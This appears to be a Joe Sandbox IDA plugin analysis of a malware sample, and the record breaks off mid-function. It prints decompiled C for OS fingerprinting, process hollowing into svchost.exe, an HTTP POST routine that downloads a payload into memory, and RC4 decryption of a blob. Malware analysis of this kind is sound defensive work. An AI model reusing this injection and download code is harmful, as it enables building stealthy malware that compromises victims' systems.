0x04004c31
0x04004c34
0x04004c49
0x04004c4f
0x04004c60
0x04004c66
0x04004c77
0x04004c7d
0x04004c84
0x040056eb
0x04004bf6
0x00000000
0x04004c9e
0x04004ca1
0x04004ca4
0x04004cb6
0x04004cb3
0x04004cb3
0x040052a8
0x040052b2
0x040052eb
0x040052f3
0x0400530e
0x04005313
0x04005322
0x04005322
0x0400532b
0x0400533f
0x04005344
0x04005347
0x0400534e
0x040056b8
0x040056c3
0x040056d4
0x040056e5
0x00000000
0x04005354
0x04005354
0x04005362
0x0400537f
0x00000000
0x00000000
0x04005397
0x0400539d
0x040053a0
0x040053ca
0x00000000
0x00000000
0x040053d0
0x040053da
0x040053fd
0x04005403
0x04005439
0x0400543e
0x04005441
0x0400544e
0x0400569b
0x040056a2
0x040056b2
0x040056b2
0x00000000
0x040056a2
0x0400545e
0x04005477
0x00000000
0x00000000
0x0400548b
0x04005491
0x0400549b
0x040054a5
0x040054c0
0x040054f5
0x040054fa
0x040054fd
0x0400550d
0x00000000
0x0400551d
0x040054ba
0x00000000
0x040054ba
0x0400550d
0x00000000
0x0400551f
0x0400551f
0x04005526
0x04005533
0x04005540
0x04005598
0x040055ae
0x040055b4
0x040055c1
0x040055d8
0x04005631
0x04005654
0x04005659
0x040055da
0x040055ef
0x04005612
0x04005617
0x04005617
0x0400566b
0x0400567c
0x0400568b
0x0400568b
0x04005542
0x04005552
0x0400555b
0x04005573
0x04005578
0x04005584
0x04005584
0x04005695
0x04005695
0x00000000
0x04005526
0x0400545e
0x0400534e
0x04004c84
0x00000000
0x04004bf9

APIs

CoInitialize.OLE32(00000000), ref: 04004BAC
SetEvent.KERNEL32(?), ref: 04004BDB
WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 04004C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C77
CoUninitialize.OLE32 ref: 040056F0

Strings

`, xrefs: 04004BE1
, xrefs: 04004EF0
pigalicapi, xrefs: 04005041, 04005080

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: AllocVirtual$EventInitializeObjectSingleUninitializeWait
String ID: $`$pigalicapi
API String ID: 1834614700-42206024
Opcode ID: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction ID: f4bd0befb8abd7887e3d73177c72bf7f141d25b4899fa760b57ca1a426edb567
Opcode Fuzzy Hash: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction Fuzzy Hash: 39628DB1D00218ABFB14DBA0DC84FEDB7B9AF49309F04C559E6057B281E775AA84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 04008F80 Relevance: 63.2, APIs: 22, Strings: 14, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04008F80(CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				int _v8;
				struct _SYSTEM_INFO _v44;
				signed int _v50;
				signed short _v52;
				struct _OSVERSIONINFOA _v204;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
					L45:
					return _v8;
				} else {
					E04007D20(E04007D20(_a8, _a4, 0, _a8),  &_v204, 0, 0x9c);
					_v204.dwOSVersionInfoSize = 0x9c;
					E04007D20( &_v44,  &_v44, 0, 0x24);
					if(GetVersionExA( &_v204) == 0) {
						L43:
						if(_v8 == 0) {
							lstrcatA(_a4, "UndefinedOS");
						}
						goto L45;
					}
					GetSystemInfo( &_v44); // executed
					if(_v204.dwMajorVersion != 5) {
						if(_v204.dwMajorVersion == 6) {
							if(_v204.dwMinorVersion != 0) {
								if(_v204.dwMinorVersion != 1) {
									if(_v204.dwMinorVersion == 2) {
										if((_v50 & 0x000000ff) == 1) {
											if((_v50 & 0x000000ff) == 1) {
												lstrcatA(_a4, "Win8");
												 *_a12 = 0xb;
											}
										} else {
											lstrcatA(_a4, "WinServer2012");
											 *_a12 = 0xc;
										}
									}
								} else {
									if((_v50 & 0x000000ff) == 1) {
										if((_v50 & 0x000000ff) == 1) {
											lstrcatA(_a4, "Win7");
											 *_a12 = 8;
										}
									} else {
										lstrcatA(_a4, "WinServer2008R2");
										 *_a12 = 0xa;
									}
								}
							} else {
								if((_v50 & 0x000000ff) != 1) {
									if((_v50 & 0x000000ff) != 1) {
										lstrcatA(_a4, "WinServer2008");
										 *_a12 = 9;
									}
								} else {
									lstrcatA(_a4, "Vista");
									 *_a12 = 7;
								}
							}
						}
						L38:
						if(E04009290() != 0) {
							lstrcatA(_a4, "_x64");
						}
						if(lstrlenA( &(_v204.szCSDVersion)) != 0) {
							lstrcatA(_a4, "_");
							lstrcatA(_a4,  &(_v204.szCSDVersion));
						}
						_v8 = lstrlenA(_a4);
						goto L43;
					}
					if(_v204.dwMinorVersion != 0) {
						if(_v204.dwMinorVersion != 1) {
							if(_v204.dwMinorVersion == 2) {
								if((_v50 & 0x000000ff) != 1 || (_v44.dwOemId & 0x0000ffff) != 9) {
									if(GetSystemMetrics(0x59) != 0) {
										if(GetSystemMetrics(0x59) == 0) {
											if((_v52 & 0x8000) != 0) {
												lstrcatA(_a4, "WinHomeServer");
												 *_a12 = 4;
											}
										} else {
											lstrcatA(_a4, "WinServer2003R2");
											 *_a12 = 6;
										}
									} else {
										lstrcatA(_a4, "WinServer2003");
										 *_a12 = 5;
									}
								} else {
									lstrcatA(_a4, "WinXP64");
									 *_a12 = 3;
								}
							}
						} else {
							lstrcatA(_a4, "WinXP");
							 *_a12 = 2;
						}
					} else {
						lstrcatA(_a4, "Win2K");
						 *_a12 = 1;
					}
					goto L38;
				}
			}

0x04008f89
0x04008f94
0x0400927b
0x04009281
0x04008fae
0x04008fce
0x04008fd6
0x04008fe8
0x04008fff
0x04009266
0x0400926a
0x04009275
0x04009275
0x00000000
0x0400926a
0x04009009
0x04009016
0x0400911c
0x04009129
0x0400917b
0x040091ca
0x040091d3
0x040091f6
0x04009201
0x0400920a
0x0400920a
0x040091d5
0x040091de
0x040091e7
0x040091e7
0x040091d3
0x0400917d
0x04009184
0x040091a7
0x040091b2
0x040091bb
0x040091bb
0x04009186
0x0400918f
0x04009198
0x04009198
0x040091c1
0x0400912b
0x04009132
0x04009155
0x04009160
0x04009169
0x04009169
0x04009134
0x0400913d
0x04009146
0x04009146
0x0400916f
0x04009129
0x04009210
0x04009217
0x04009222
0x04009222
0x04009237
0x04009242
0x04009253
0x04009253
0x04009263
0x00000000
0x04009263
0x04009023
0x04009049
0x0400906f
0x0400907c
0x040090ab
0x040090d1
0x040090f6
0x04009101
0x0400910a
0x0400910a
0x040090d3
0x040090dc
0x040090e5
0x040090e5
0x040090ad
0x040090b6
0x040090bf
0x040090bf
0x04009087
0x04009090
0x04009099
0x04009099
0x0400907c
0x0400904b
0x04009054
0x0400905d
0x0400905d
0x04009025
0x0400902e
0x04009037
0x04009037
0x00000000
0x04009110

APIs

GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
GetSystemInfo.KERNEL32(?), ref: 04009009
lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
lstrcatA.KERNEL32(00000000,WinXP), ref: 04009054
lstrcatA.KERNEL32(00000000,Vista), ref: 0400913D
lstrcatA.KERNEL32(00000000,WinServer2008), ref: 04009160
lstrcatA.KERNEL32(00000000,WinServer2008R2), ref: 0400918F
lstrcatA.KERNEL32(00000000,Win7), ref: 040091B2
lstrcatA.KERNEL32(00000000,WinServer2012), ref: 040091DE
lstrcatA.KERNEL32(00000000,Win8), ref: 04009201
lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
lstrlenA.KERNEL32(?), ref: 0400922F
lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
lstrcatA.KERNEL32(00000000,?), ref: 04009253
lstrlenA.KERNEL32(00000000), ref: 0400925D
lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

Strings

Win7, xrefs: 040091A9
WinServer2012, xrefs: 040091D5
Win2K, xrefs: 04009025
WinXP64, xrefs: 04009087
WinHomeServer, xrefs: 040090F8
WinXP, xrefs: 0400904B
WinServer2008R2, xrefs: 04009186
Win8, xrefs: 040091F8
_x64, xrefs: 04009219
WinServer2008, xrefs: 04009157
Vista, xrefs: 04009134
WinServer2003, xrefs: 040090AD
UndefinedOS, xrefs: 0400926C
WinServer2003R2, xrefs: 040090D3

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
String ID: UndefinedOS$Vista$Win2K$Win7$Win8$WinHomeServer$WinServer2003$WinServer2003R2$WinServer2008$WinServer2008R2$WinServer2012$WinXP$WinXP64$_x64
API String ID: 3139318632-332591429
Opcode ID: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction ID: 2fdea20511d00b83c143a5217ffb9651c4d2114897e9ccdf2931e29d93762e72
Opcode Fuzzy Hash: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction Fuzzy Hash: 1A81F9B4644209EBFB249F60C849BAE7BB5FB49301F00C659F905BA2C1D779E9C1CB61

Uniqueness

Uniqueness Score: -1.00%

Function 040020B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040020B0(intOrPtr _a4, signed char _a8, CHAR* _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				CHAR* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 = lstrcatA( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					lstrcatA( &_v276, " ");
					_t121 = lstrcatA( &_v276, _a12);
				}
				E04007D20(_t121,  &_v1012, 0, 0x10);
				E04007D20( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04007B70(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E040026D0(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_v1100 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40);
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

0x040020bd
0x04002502
0x00000000
0x04002502
0x040020d4
0x040020e6
0x040020f0
0x040020fe
0x0400210f
0x0400210f
0x04002120
0x04002133
0x04002138
0x0400213b
0x0400214e
0x04002168
0x04002177
0x04002187
0x0400218d
0x04002194
0x040021c0
0x040021c8
0x040021fe
0x04002204
0x04002211
0x0400227d
0x0400228f
0x04002294
0x04002297
0x040022b2
0x040022ce
0x0400235e
0x04002363
0x040022d0
0x04002312
0x04002317
0x04002317
0x040022ac
0x040022ac
0x04002376
0x04002396
0x0400239e
0x040023ec
0x040023f2
0x0400240a
0x04002412
0x04002460
0x04002468
0x040024a6
0x040024ba
0x040024c2
0x040024e2
0x040024ef
0x040024fc
0x00000000
0x040024fc
0x040024cb
0x00000000
0x040024d1
0x04002473
0x04002480
0x0400248d
0x00000000
0x04002493
0x0400241d
0x0400242a
0x04002437
0x00000000
0x0400243d
0x040023a9
0x040023b6
0x040023c3
0x040023d4
0x00000000
0x040023da
0x0400222d
0x0400223a
0x00000000
0x00000000
0x04002245
0x04002252
0x0400225f
0x04002270
0x00000000
0x04002276
0x040021d5
0x00000000
0x04002196
0x00000000
0x04002196

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 040020D4
lstrcatA.KERNEL32(?,\system32\svchost.exe), ref: 040020E6
lstrcatA.KERNEL32(?,0400C38C), ref: 040020FE
lstrcatA.KERNEL32(?,00000000), ref: 0400210F
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 04002187
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 040021C0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040021D5
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 040021FE
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 04002227
TerminateProcess.KERNEL32(?,00000000), ref: 04002245
CloseHandle.KERNEL32(?), ref: 04002252
CloseHandle.KERNEL32(?), ref: 0400225F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002270

Strings

SystemRoot, xrefs: 040020CF
\system32\svchost.exe, xrefs: 040020DA
D, xrefs: 0400213B

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction ID: 24de31acf85f81f6cd7956eb3c6d21bf067972eab508d3ad9c1f9881985dd567
Opcode Fuzzy Hash: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction Fuzzy Hash: 27D13F71A44215ABEB28DF54CC94FAE77B9FB48304F0486D8F609B7281D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04001840 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 260
networkfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001840(char* _a4, void* _a8, long _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, intOrPtr* _a32) {
				long _v8;
				char _v276;
				char _v1300;
				char _v1564;
				void* _v1568;
				void* _v1572;
				char* _v1576;
				intOrPtr _v1588;
				char* _v1592;
				signed short _v1612;
				intOrPtr _v1616;
				char* _v1620;
				void* _v1636;
				void* _v1640;
				void* _v1644;
				void* _v1648;
				long _v1652;
				void _v1656;
				void _v1916;
				long _v1920;
				long _v1924;
				long _v1928;
				void* _v1932;
				intOrPtr _v1936;
				long _v1940;
				long _v1944;
				long _v1948;
				void _v2972;
				long _v2976;
				int _t116;
				void* _t117;
				void* _t119;
				void* _t123;
				int _t133;
				void* _t143;
				long _t151;
				void* _t194;
				void* _t195;
				void* _t196;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L37:
					return _v8;
				} else {
					_v1644 = 0;
					_v1640 = 0;
					_v1568 = 0;
					_v1576 = "*/*";
					_v1572 = 0;
					E04007D20( &_v1636,  &_v1636, 0, 0x3c);
					_t195 = _t194 + 0xc;
					_v1636 = 0x3c;
					_v1620 =  &_v1564;
					_v1616 = 0x104;
					_v1592 =  &_v276;
					_v1588 = 0x104;
					_t116 = InternetCrackUrlA(_a4, 0, 0,  &_v1636); // executed
					if(_t116 == 0) {
						goto L37;
					}
					_t117 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 1, 0, 0, 0); // executed
					_v1644 = _t117;
					if(_v1644 == 0) {
						goto L37;
					}
					_t119 = InternetConnectA(_v1644, _v1620, _v1612 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
					_v1640 = _t119;
					if(_v1640 == 0) {
						L36:
						InternetCloseHandle(_v1644);
						goto L37;
					}
					_t123 = HttpOpenRequestA(_v1640, "POST", _v1592, 0, 0,  &_v1576, 0x200300, 0); // executed
					_v1568 = _t123;
					if(_v1568 == 0) {
						L35:
						InternetCloseHandle(_v1640); // executed
						goto L36;
					}
					wnsprintfA( &_v1300, 0x400, "Accept-Language: en-us\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n", _a12);
					_t196 = _t195 + 0x10;
					if(HttpAddRequestHeadersA(_v1568,  &_v1300, 0xffffffff, 0) == 0) {
						L34:
						InternetCloseHandle(_v1568); // executed
						goto L35;
					}
					_v1656 = 0x7530;
					if(_a28 > 0) {
						_v1656 = _a28;
					}
					InternetSetOptionA(_v1568, 6,  &_v1656, 4);
					_v1652 = 1;
					_v1648 = 0;
					do {
						_v1920 = 0x100;
						E04007D20( &_v1916,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1924 = 0;
						_t133 = HttpSendRequestA(_v1568, 0, 0, _a8, _a12); // executed
						if(_t133 == 0) {
							goto L32;
						}
						if(HttpQueryInfoA(_v1568, 0x13,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t137 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1936 = _t137;
							if(_a32 != 0) {
								_t137 = _a32;
								 *_a32 = _v1936;
							}
						}
						E04007D20(_t137,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1928 = 0x500000;
						if(HttpQueryInfoA(_v1568, 5,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t151 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1940 = _t151;
							if(_v1940 > 0 && _v1940 < 0x40000000) {
								_v1928 = _v1940;
							}
						}
						_t143 = VirtualAlloc(0, _v1928, 0x3000, 4); // executed
						_v1932 = _t143;
						if(_v1932 == 0) {
							_v2976 = 0;
							do {
								InternetReadFile(_v1568,  &_v2972, 0x400,  &_v2976);
							} while (_v2976 > 0);
						} else {
							 *_a16 = _v1932;
							 *_a20 = _v1928;
							_v8 = 1;
							_v1944 = _v1928;
							while(1) {
								_v1948 = 0;
								InternetReadFile(_v1568, _v1932, _v1944,  &_v1948); // executed
								if(_a24 != 0) {
									 *_a24 =  *_a24 + _v1948;
								}
								if(_v1948 == 0) {
									break;
								}
								_v1932 = _v1932 + _v1948;
								_v1944 = _v1944 - _v1948;
								if(_v1944 > 0) {
									continue;
								}
								L29:
								goto L32;
							}
							goto L29;
						}
						L32:
						_v1648 = _v1648 + 1;
					} while (_v8 == 0 && _v1648 < 1);
					goto L34;
				}
			}

0x04001849
0x04001854
0x04001c95
0x04001c9b
0x04001878
0x04001878
0x04001882
0x0400188c
0x04001896
0x040018a0
0x040018b5
0x040018ba
0x040018bd
0x040018cd
0x040018d3
0x040018e3
0x040018e9
0x04001902
0x0400190a
0x00000000
0x00000000
0x0400191d
0x04001923
0x04001930
0x00000000
0x00000000
0x04001956
0x0400195c
0x04001969
0x04001c88
0x04001c8f
0x00000000
0x04001c8f
0x04001994
0x0400199a
0x040019a7
0x04001c7b
0x04001c82
0x00000000
0x04001c82
0x040019c2
0x040019c8
0x040019e5
0x04001c6e
0x04001c75
0x00000000
0x04001c75
0x040019eb
0x040019f9
0x040019fe
0x040019fe
0x04001a16
0x04001a1c
0x04001a26
0x04001a30
0x04001a30
0x04001a48
0x04001a4d
0x04001a50
0x04001a6d
0x04001a75
0x00000000
0x00000000
0x04001aa1
0x04001aaa
0x04001aaf
0x04001ab2
0x04001abc
0x04001abe
0x04001ac7
0x04001ac7
0x04001abc
0x04001ad7
0x04001adc
0x04001adf
0x04001b0f
0x04001b18
0x04001b1d
0x04001b20
0x04001b2d
0x04001b41
0x04001b41
0x04001b2d
0x04001b57
0x04001b5d
0x04001b6a
0x04001c19
0x04001c23
0x04001c3d
0x04001c43
0x04001b70
0x04001b79
0x04001b84
0x04001b86
0x04001b93
0x04001b99
0x04001b99
0x04001bbf
0x04001bc9
0x04001bd9
0x04001bd9
0x04001be2
0x00000000
0x00000000
0x04001bf2
0x04001c04
0x04001c11
0x00000000
0x04001c15
0x04001c17
0x00000000
0x04001c17
0x00000000
0x04001be4
0x04001c4c
0x04001c55
0x04001c5b
0x00000000
0x04001a30

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 04001902
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),00000001,00000000,00000000,00000000), ref: 0400191D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 04001956
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,0400C2C8,00200300,00000000), ref: 04001994
wnsprintfA.SHLWAPI ref: 040019C2
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 040019DD
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 04001A16
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 04001A6D
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04001A99
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 04001B07
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 04001B57
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 04001BBF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 04001C3D
InternetCloseHandle.WININET(00000000), ref: 04001C75
InternetCloseHandle.WININET(00000000), ref: 04001C82
InternetCloseHandle.WININET(00000000), ref: 04001C8F

Strings

Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d, xrefs: 040019B1
POST, xrefs: 04001988
0u, xrefs: 040019EB
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 04001918
<, xrefs: 040018BD

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: 0u$<$Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$POST
API String ID: 880997049-2804282621
Opcode ID: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction ID: 104ecec6680c69d5e391cf9d7718dbecb1b5f59d1f4ca396f8eadafade2250d2
Opcode Fuzzy Hash: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction Fuzzy Hash: 89C10BB19442189BFB64CF50CC49FD9B7B5EB88704F0481D9E60DAA2C0DB7AAAD4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 040047F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E040047F0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v5;
				long* _v12;
				char _v28;
				char _v764;
				char _v780;
				intOrPtr _v784;
				char _v788;
				int _v792;
				int _v796;
				intOrPtr _v800;
				long* _v804;
				int _v808;
				int _v812;
				char _v816;
				int _v820;
				char _v824;
				char _v828;
				char _v844;
				int _t61;
				char* _t67;
				intOrPtr _t68;
				int _t69;
				char* _t73;
				intOrPtr _t74;
				intOrPtr _t76;
				intOrPtr _t77;
				signed char _t78;
				void* _t109;

				_v5 = 0;
				if(_a4 == 0 || _a8 <= 0x300) {
					L25:
					return _v5;
				} else {
					_v12 = 0;
					_t61 = CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t61 == 0 && GetLastError() == 0x80090016) {
						CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8); // executed
					}
					if(_v12 != 0) {
						_v788 = 0x10;
						_v784 = 0x10;
						_v792 = 0;
						while(_v792 < _a8 - 0x2ff) {
							E04007B70( &_v780, _a4 + _v792, 0x300);
							_t109 = _t109 + 0xc;
							_t67 =  &_v780;
							_v800 = _t67;
							_v796 = 0;
							__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v796); // executed
							if(_t67 == 0) {
								L21:
								if((_v5 & 0x000000ff) == 0) {
									_v792 = _v792 + 1;
									continue;
								}
								break;
							}
							_t68 = _v800;
							__imp__CryptHashData(_v796, _t68, 0x10, 0);
							if(_t68 != 0) {
								_v804 = 0;
								_t69 = _v796;
								__imp__CryptDeriveKey(_v12, 0x6801, _t69, 1,  &_v804); // executed
								if(_t69 != 0) {
									_v812 = 0x2f0;
									_v808 = CryptDecrypt(_v804, 0, 1, 0,  &_v764,  &_v812);
									CryptDestroyKey(_v804);
									if(_v808 != 0) {
										_t73 =  &_v816;
										__imp__CryptCreateHash(_v12, 0x8003, 0, 0, _t73);
										if(_t73 != 0) {
											_t74 = _v816;
											__imp__CryptHashData(_t74,  &_v780, 0x2f0, 0);
											if(_t74 != 0) {
												_v820 = 0;
												_v824 = 4;
												_t76 = _v816;
												__imp__CryptGetHashParam(_t76, 4,  &_v820,  &_v824, 0);
